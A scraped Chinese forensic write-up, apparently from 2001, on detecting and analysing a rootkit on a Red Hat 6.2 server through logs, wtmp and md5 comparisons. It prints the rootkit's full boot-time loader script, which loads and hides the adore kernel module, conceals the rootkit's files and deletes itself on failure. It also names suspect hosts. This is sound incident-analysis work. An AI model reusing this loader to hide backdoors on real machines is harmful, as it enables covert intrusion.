⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 1430.html

📁 著名的linux英雄站点的文档打包
💻 HTML
📖 第 1 页 / 共 3 页
字号:
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN<br>
tcp 0 138 a:23 b:1122 ESTABLISHED<br>
<br>
hoho,竟然没有,难道netstat被替换掉了?<br>
看看RPM校验:<br>
<br>
[liz]¥ rpm -qf /bin/netstat<br>
net-tools-1.54-4<br>
[liz]¥ rpm -V net-tools<br>
<br>
什么都没有,似乎...netstat没有问题,难道加载了llkm?<br>
<br>
[liz]¥ lsmod<br>
Module Size Used by<br>
<br>
空的(系统本身没有加载lkm),module隐藏了?<br>
<br>
是不是杞人忧天啊?看看系统有什么改变没有?<br>
<br>
[liz]¥ cat /var/log/message<br>
Aug 9 00:05:54 FTP_test PAM_pwdb[889]: (login) session opened for user liz by (uid=0)<br>
Aug 9 00:07:34 FTP_test PAM_pwdb[889]: (login) session closed for user liz<br>
Aug 9 00:07:34 FTP_test inetd[483]: pid 888: exit status 1<br>
Aug 9 00:39:51 FTP_test inetd[483]: pid 919: exit status 1<br>
Aug 9 04:02:00 FTP_test anacron[979]: Updated timestamp for job `cron.daily'to 2001-08-09<br>
Aug 9 06:28:48 FTP_test inetd[483]: extra conf for service 19/tcp (skipped)<br>
Aug 11 11:50:32 FTP_test PAM_pwdb[608]: (login) session opened for user liz by (uid=0)<br>
<br>
嘻嘻,发现问题了:怎么大半夜里我的帐号还在用?还有,9号到11号之间竟然没有任何记录?虽然我的机器利用率不高,可crond总还是在跑的吧,连这个都没有,显然显然...<br>
再看看wtmp记录:<br>
<br>
[liz]¥ strings /var/log/wtmp<br>
...<br>
ftpd748<br>
pts/0<br>
ftpd786<br>
@ftp<br>
pd950c097.dip.t-dialin.net<br>
ftpd786<br>
pts/0<br>
...<br>
ftpd14698<br>
@ftp<br>
pd950ef94.dip.t-dialin.net<br>
ftpd14698<br>
pts/0<br>
....<br>
ftpd15200<br>
@ftp<br>
211.178.18.15<br>
ftpd15200<br>
<br>
挺热闹的嘛,当然了,不足为证。<br>
忘了忘了,最重要的:<br>
<br>
[liz]¥ w<br>
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT<br>
liz pts/0 b 10:58am 0.00s 0.11s ? -<br>
<br>
只有我一个,也就这个log正常了。<br>
<br>
现在可以肯定,系统有人进来了。<br>
<br>
比较麻烦,静下心来想一想......<br>
<br>
一个cracker,找到一个redhat 6.2的漏洞,比如说wu-ftp2.6 漏洞,很顺利的(5555...没面子)拿到root权限,上载一些东东,加载llkm,隐藏相应的进程、目录和llkm,然后留一个后门(姑且是111或/和113端口的了),擦脚印,撤。<br>
<br>
恩,典型的攻击方式,很符合系统的记录,可是留下<br>
痕迹1:wtmp里pd950ef94.dip.t-dialin.net两次来我的机子,而且时间相差甚远(看ftpd号),又是拨号用户,也许不是他,可是我现在抓不到人,错抓一个也比一个没有强,算他倒霉了,*_^。<br>
痕迹2:message里擦脚印也不高明点,一股脑删,唉。<br>
痕迹3:好端端的给我机器开几个服务,也不找个高明点的后门,不是明摆着让我去查嘛。<br>
痕迹4,5,6...:待查,呵呵<br>
<br>
好了,既然他加载了llkm,rc里势必要留下点什么,要不然机器一重起,llkm没了就完了。<br>
<br>
可是rc里那么多,我一个一个查,还不累死啊?<br>
偷个懒,md5一下。<br>
<br>
[liz]¥ md5sum<br>
<br>
慢着.......,现在系统不能相信了,md5sum也不例外,找个干净的cp过来md5。<br>
<br>
[liz]¥ ftp...<br>
....<br>
[liz]¥ /usr/bin/md5sum /etc/inittab &gt; /tmp/md5.txt<br>
[liz]¥ cd /etc/rc.d<br>
[liz]¥ /usr/bin/md5sum `find `pwd` -type f` &gt;&gt; /tmp/md5.txt<br>
<br>
再找个干净的机器造个相同的文件md5.txt1<br>
diff一下:<br>
<br>
[liz]¥ diff /tmp/md5.txt /tmp/md5.txt1 &gt; result.txt<br>
<br>
经过详细和漫长(么?)的比较,并去除链接和以K开头的文件,终于发现两个不一样:<br>
/etc/rc.d/rc.loacl<br>
/etc/rc.d/init.d/syslog<br>
<br>
懒得自己去看,还是diff吧,取干净的rc.local和syslog过来<br>
diff的结果:<br>
<br>
干净的rc.local忘记注释issue那部分了,无妨无妨<br>
<br>
syslog:<br>
&lt; /bin/rkup &<br>
<br>
^_^,检测工作结束,拔掉网线,睡觉。<br>
<br>
二. 分析<br>
<br>
找到cracker加载的位置,以下就好办了:<br>
[liz]¥ cat /bin/rkup<br>
#!/bin/sh<br>
# Kkit by r41n (c) 2000<br>
RKPATH=/usr/lib/.rain<br>
...<br>
<br>
# Loads and hides knark<br>
...<br>
<br>
# Hides files<br>
...<br>
<br>
/bin/kload &&gt;/dev/null<br>
<br>
呵呵,原来是knark啊,顺势看看kload,找到如下文件:<br>
<br>
/bin/rkup<br>
/bin/kload<br>
<br>
/usr/lib/.rain目录下:<br>
<br>
.:<br>
bot home lkm ssh<br>
<br>
./bot:<br>
c0r3 emech<br>
<br>
./bot/c0r3:<br>
c0r3<br>
<br>
ls: ./bot/emech: Permission denied<br>
./home:<br>
<br>
./lkm:<br>
adore.o ava modhide.o src<br>
<br>
./lkm/src:<br>
adore.c ava.c config libinvisible.c libinvisible.h modhide.c<br>
<br>
./ssh:<br>
ssh_host_key ssh_random_seed sshd.pid sshd_config sshdchk sshdx<br>
<br>
经过仔细的(又来了...)分析,终于弄明白大部分是作什么用的:<br>
<br>
入侵的cracker似乎叫r41n,这些东东都是他自己写的rootkit kkit里的,从这几个地方可以看到:<br>
(当然或许是个全盘照抄的cracker也不一定)<br>
[liz]¥ cat /bin/rkup<br>
#!/bin/sh<br>
# Kkit by r41n (c) 2000<br>
...<br>
<br>
[liz]¥ cat /usr/lib/.rain/home/.bashrc<br>
...<br>
echo " Welcome r41n! Enjoy Kkit by r41n!"<br>
echo -n " 0wn3d: Thu Aug 9 06:42:38 HKT 2001 "<br>
...<br>
<br>
而且可以看到,这个cracker还把系统攻破的时间记下来,跟前边分析的几个log出现问题的时间一致。<br>
<br>
从分析的结果看,r41n的这个kkit用的还是knark的思想,又针对一些具体情况做了改动。cracker用的主目录/usr/lib/.rain还是knark风格的,实在没创意。<br>
<br>
以下是各个文件作用的分析:<br>
/bin/rkup:<br>
---------start------------<br>
#!/bin/sh<br>
# Kkit by r41n (c) 2000<br>
RKPATH=/usr/lib/.rain<br>
PATH=...<br>
<br>
# Loads and hides knark<br>
if [ "¥1" != "kit" ]; then<br>
depmod -a &&gt;/dev/null<br>
insmod ¥RKPATH/lkm/adore.o &&gt;/dev/null<br>
T=`lsmod │ grep "adore"`<br>
if [ ! "¥T" ]; then<br>
# echo "cant load .. recompile" &gt;/test<br>
cd ¥RKPATH/lkm/src<br>
./config<br>
./compile<br>
if [ -e adore.o ]; then<br>
cp -f adore.o .. &&gt;/dev/null<br>
cp -f modhide.o .. &&gt;/dev/null<br>
cp -f ava .. &&gt;/dev/null<br>
rm -f *o &&gt;/dev/null<br>
rm -f ava &&gt;/dev/null<br>
rm -f compile &&gt;/dev/null<br>
# echo "ok recompiled... loading!" &gt;&gt;/test<br>
else<br>
rm -rf /usr/lib/.rain &&gt;/dev/null<br>
rm -rf /bin/rkup &&gt;/dev/null<br>
rm -rf /bin/kload &&gt;/dev/null<br>
echo "#!/bin/sh" &gt;/bin/rkup<br>
echo "# r41n was here..." &gt;&gt;/bin/rkup<br>
chmod +x /bin/rkup<br>
# echo "cant recompile! OUT!" &gt;&gt;/test<br>
exit<br>
fi<br>
insmod ¥RKPATH/lkm/adore.o &&gt;/dev/null<br>
T=`lsmod │ grep "adore"`<br>
if [ ! "¥T" ]; then<br>
rm -rf /usr/lib/.rain &&gt;/dev/null<br>
rm -rf /bin/rkup &&gt;/dev/null<br>
rm -rf /bin/kload &&gt;/dev/null<br>
echo "#!/bin/sh" &gt;/bin/rkup<br>
echo "# r41n was here..." &gt;&gt;/bin/rkup<br>
chmod +x /bin/rkup<br>
# echo "cant load after recompile! OUT!" &gt;&gt;/test<br>
exit<br>
fi<br>
fi<br>
# echo "LOADED OK!!!" &gt;&gt;/test<br>
insmod ¥RKPATH/lkm/modhide.o &&gt;/dev/null<br>
fi<br>
<br>
# Hides files<br>
ava h ¥RKPATH &&gt;/dev/null<br>
ava h ¥RKPATH/lkm &&gt;/dev/null<br>
ava h ¥RKPATH/ssh &&gt;/dev/null<br>
ava h ¥RKPATH/home &&gt;/dev/null<br>
ava h ¥RKPATH/bot &&gt;/dev/null<br>
ava h /bin/rkup &&gt;/dev/null<br>
ava h /bin/kload &&gt;/dev/null<br>
<br>
/bin/kload &&gt;/dev/null<br>
------------end---------------<br>
<br>
系统启动时自动载入的文件,1.编译并载入adore.o,即knark,并作简单的判断,如果不能正常载入,则删除所有相关文件,撤退(这点还是蛮好的)2.隐藏module adore,3.隐藏相关目录和文件(其实¥RKPATH在adore载入以后已经自动隐藏了),3.启动/bin/kload<br>
<br>
其中,adore是主要module,它替换系统调用,用以隐藏相关的进程、文件、非授权提升用户权限,这是它的几个函数<br>
<br>
:<br>
int is_invisible(pid_t pid) //查看process是否已经真的隐藏<br>
int is_secret(struct super_block *sb, struct dirent *d) //查看文件是否已经真的隐藏<br>
int hide_process(pid_t pid)<br>
int remove_process(pid_t pid) //从task-struct中移除相关process<br>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -